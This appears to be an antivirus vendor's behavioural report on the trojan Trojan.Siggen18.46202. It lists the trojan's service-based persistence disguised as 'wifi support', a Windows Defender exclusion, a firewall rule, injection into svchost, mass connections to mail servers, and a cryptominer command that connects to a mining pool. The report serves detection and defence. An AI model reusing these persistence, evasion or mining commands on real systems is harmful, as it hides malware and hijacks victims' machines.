Trojan.Siggen18.46202

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\ovkyyfgf] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ovkyyfgf] 'ImagePath' = '%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ovkyyfgf] 'ImagePath' = '%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe'

Creates the following services

'ovkyyfgf' %WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d"<Full path to file>"
'ovkyyfgf' %WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ovkyyfgf' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\ipgxybqf.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\ipgxybqf.exe to %WINDIR%\syswow64\ovkyyfgf\ipgxybqf.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx#######401.gslb.pphosted.com':25
'no########.net.mx1.nstel.rcimx.net':25
'r-####6.korea.com':25
'ma##.#axmail.net':25
'mx#.#anmail.net':25
'in#.#anadoo.es':25
'mx#.##pservices.us':25
'mx.####tuscapital.com':25
'em##.freenet.de':25
'mx#.#ate.com':25
'mx###.##il.am0.yahoodns.net':25
'mx.##.#tinternet.com':25
'wo##.#-poster.info':25000
'fa###ool.xyz':10060
'mx#####.ppe-hosted.com':25
'ma##.###lied-info-mgmt.com':25
'mt##.##0.yahoodns.net':25
'mx#######f01.gslb.pphosted.com':25
'ma##.#ppendorf.de':25
'ma##.#ejuair.net':25
'so####1.sohu.com':25
'mx#.#aver.com':25
'is###dkym.com':25
'im###.###cel-airstreamcomm.net':25
'mx#.#ifty.com':25
'ma##.#rigolla.net':25
'mx####.carrierzone.com':25
'ASPMX.L.GOOGLE.COM':25
'mx#######302.gslb.pphosted.com':25
'mx###.##lux.xion.oxcs.net':25
'mx######-com.icoremail.net':25
'fr#####.#inamail.sina.com.cn':25
'mx##.mail.com':25
'ei####.#x.a.cloudfilter.net':25
'ne########.com.mx1.netcarrier.rcimx.net':25
'cl######e.mailcontrol.com':25
'mx####.##il.gm0.yahoodns.net':25
'ex####l.bigpond.com':25
'pa####x.above.com':25
'tu######ta02.atlasok.com':25
'ma##.#-email.net':25
'al#######nd.com.1.arsmtp.com':25
'17#.#13.115.157':423
'17#.#13.115.156':423
'80.#6.75.4':423
'17#.#13.115.155':423
'17#.#13.115.154':423
'17#.#13.115.153':423
'mx#######101.gslb.pphosted.com':25
'cx#.##.#.cloudfilter.net':25
'mx#######b02.gslb.pphosted.com':25
'ma#####t1.triwest.com':25
'mx######91d01.pphosted.com':25
'ff######x-vip2.prodigy.net':25
'mx#######501.gslb.pphosted.com':25
'mx.##ala.or.jp':25
'17#.#13.115.158':487
'sv####lfheim.top':443
'mb####.mynet.com':25
'na#.###.#rotection.outlook.com':25
'gl#########ters-org.p20.mxthunder.net':25
'mx.###rocuore.net':25
'google.com':80
'rn#######.eastus.cloudapp.azure.com':25
'mx#.########e.prod.cloud.synchronoss.net':25
'mx##.##a.mailcore.net':25
'al######x-vip1.prodigy.net':25
'mx#######201.gslb.pphosted.com':25
'mx.##s.untd.com':25
'mx.##stpost.net':25
'mx#######801.gslb.pphosted.com':25
'mx##.##il.icloud.com':25
'in###gram.com':443
'al#######up.com.1.arsmtp.com':25
'ff######x-vip1.prodigy.net':25
'mx#######b01.gslb.pphosted.com':25
'mx.####ta.toscana.it':25
'mx##.mb5p.com':25
'mx#.#angia.biz':25
'mx.######mail.rediff.akadns.net':25
'ma###esia.com':25

TCP

HTTP GET requests

http://www.google.com/

HTTP POST requests

http://wo##.###oster.info:25000/ via wo##.#-poster.info

Other

'sv####lfheim.top':443
'fa###ool.xyz':10060
'mx.##.#tinternet.com':25
'mx###.##il.am0.yahoodns.net':25
'mt##.##0.yahoodns.net':25
'mx#.##pservices.us':25
'in#.#anadoo.es':25
'mx#.#anmail.net':25
'mx#####.ppe-hosted.com':25
'no########.net.mx1.nstel.rcimx.net':25
'mx.######mail.rediff.akadns.net':25
'na#.###.#rotection.outlook.com':25
'ne########.com.mx1.netcarrier.rcimx.net':25
'mx######-com.icoremail.net':25
'fr#####.#inamail.sina.com.cn':25
'ASPMX.L.GOOGLE.COM':25
'mx####.carrierzone.com':25
'im###.###cel-airstreamcomm.net':25
'is###dkym.com':25
'mx#.#aver.com':25
'ma##.#rigolla.net':25
'ma##.###lied-info-mgmt.com':25
'mx.####ta.toscana.it':25
'mx####.##il.gm0.yahoodns.net':25
'pa####x.above.com':25
'ma##.#-email.net':25
'17#.#13.115.153':423
'80.#6.75.4':423
'17#.#13.115.154':423
'17#.#13.115.155':423
'17#.#13.115.157':423
'17#.#13.115.156':423
'ff######x-vip2.prodigy.net':25
'mx.##ala.or.jp':25
'mx#######101.gslb.pphosted.com':25
'ma##.#ejuair.net':25
'cl######e.mailcontrol.com':25
'al#######nd.com.1.arsmtp.com':25
'gl#########ters-org.p20.mxthunder.net':25
'mx##.mb5p.com':25
'ff######x-vip1.prodigy.net':25
'in###gram.com':443
'al#######up.com.1.arsmtp.com':25
'mx.##stpost.net':25
'mx##.##a.mailcore.net':25
'al######x-vip1.prodigy.net':25
'rn#######.eastus.cloudapp.azure.com':25
'17#.#13.115.158':487
'mx#.#angia.biz':25
'mb####.mynet.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ma##.#axmail.net
DNS ASK be####inmoore.com
DNS ASK no###state.net
DNS ASK no########.net.mx1.nstel.rcimx.net
DNS ASK be##ee.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK mx#.#ate.com
DNS ASK am####scapital.com
DNS ASK fr##net.de
DNS ASK em##.freenet.de
DNS ASK ta###ova.com
DNS ASK ep###dorf.com
DNS ASK ma##.#ppendorf.de
DNS ASK we##v.net
DNS ASK ko##a.com
DNS ASK r-####6.korea.com
DNS ASK mx#.#anmail.net
DNS ASK ha##ail.net
DNS ASK in#.#anadoo.es
DNS ASK fa###ool.xyz
DNS ASK wo##.#-poster.info
DNS ASK bt###ernet.com
DNS ASK mx.##.#tinternet.com
DNS ASK sk#.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK mx.####tuscapital.com
DNS ASK na##.com
DNS ASK ex####l.bigpond.com
DNS ASK ro###tmail.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK sa##el.net
DNS ASK mx#.##pservices.us
DNS ASK mi##ail.com
DNS ASK mx#####.ppe-hosted.com
DNS ASK bi##ond.net
DNS ASK gs####icitors.com
DNS ASK cl######e.mailcontrol.com
DNS ASK ne###rrier.com
DNS ASK gr###lla.net
DNS ASK ma##.#rigolla.net
DNS ASK ia##.org
DNS ASK ww#.net
DNS ASK im###.###cel-airstreamcomm.net
DNS ASK ni##y.com
DNS ASK mx#.#ifty.com
DNS ASK na##r.com
DNS ASK ex##ll.net
DNS ASK mx#.#aver.com
DNS ASK so##.com
DNS ASK so####1.sohu.com
DNS ASK je##air.net
DNS ASK ma##.#ejuair.net
DNS ASK my##t.com
DNS ASK mb####.mynet.com
DNS ASK mx####.carrierzone.com
DNS ASK ag##og.be
DNS ASK ev###stkc.net
DNS ASK mx##.mail.com
DNS ASK ne########.com.mx1.netcarrier.rcimx.net
DNS ASK ei##om.net
DNS ASK ei####.#x.a.cloudfilter.net
DNS ASK pa##ell.net
DNS ASK si##.com
DNS ASK fr#####.#inamail.sina.com.cn
DNS ASK ma##.com
DNS ASK li##.com.mx
DNS ASK ba####ostudents.net
DNS ASK mx###.##lux.xion.oxcs.net
DNS ASK ch##a.com
DNS ASK mx######-com.icoremail.net
DNS ASK mb##.com
DNS ASK mx#######302.gslb.pphosted.com
DNS ASK al###mail.com
DNS ASK ho##ial.com
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK is###dkym.com
DNS ASK ti##jo.com
DNS ASK mx#.########e.prod.cloud.synchronoss.net
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK google.com
DNS ASK st###farm.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK gl####rysisters.org
DNS ASK dp#.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK re###fmail.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK sa###cuore.net
DNS ASK mx.###rocuore.net
DNS ASK al#######nd.com.1.arsmtp.com
DNS ASK co#.net
DNS ASK al###osound.com
DNS ASK mx#######101.gslb.pphosted.com
DNS ASK al####tenergy.com
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK am###.plala.or.jp
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK mx.##ala.or.jp
DNS ASK nd##.net
DNS ASK gl#########ters-org.p20.mxthunder.net
DNS ASK am###trade.com
DNS ASK ff######x-vip2.prodigy.net
DNS ASK at#.com
DNS ASK mx######91d01.pphosted.com
DNS ASK be###outh.com
DNS ASK tr##est.com
DNS ASK ma#####t1.triwest.com
DNS ASK sv####lfheim.top
DNS ASK am###tech.net
DNS ASK mx#.#angia.biz
DNS ASK ki###mail.com
DNS ASK mx##.mb5p.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK lu##ku.com
DNS ASK mx##.##a.mailcore.net
DNS ASK go#.com
DNS ASK rn#######.eastus.cloudapp.azure.com
DNS ASK su###nlink.net
DNS ASK gm##.com
DNS ASK ma##.###lied-info-mgmt.com
DNS ASK ma##.#-email.net
DNS ASK at##sok.com
DNS ASK tu######ta02.atlasok.com
DNS ASK co##st.net
DNS ASK pa####x.above.com
DNS ASK ve##zon.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK al#######up.com.1.arsmtp.com
DNS ASK al##xtn.com
DNS ASK al###egroup.com
DNS ASK us#####ro.toscana.it
DNS ASK mx.####ta.toscana.it
DNS ASK fa#####insurance.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK at#.net
DNS ASK ff######x-vip1.prodigy.net
DNS ASK sr#.com
DNS ASK wn##.net
DNS ASK ju##.com
DNS ASK in###gram.com
DNS ASK al##o.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK ic##ud.com
DNS ASK mx##.##il.icloud.com
DNS ASK we###ost.net
DNS ASK mx.##stpost.net
DNS ASK mx.##s.untd.com
DNS ASK ma###esia.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ovkyyfgf\ipgxybqf.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ovkyyfgf\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ipgxybqf.exe" %WINDIR%\SysWOW64\ovkyyfgf\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ovkyyfgf binPath= "%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ovkyyfgf "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ovkyyfgf' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ovkyyfgf\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ipgxybqf.exe" %WINDIR%\SysWOW64\ovkyyfgf\
'%WINDIR%\syswow64\sc.exe' create ovkyyfgf binPath= "%WINDIR%\SysWOW64\ovkyyfgf\ipgxybqf.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ovkyyfgf "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ovkyyfgf
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial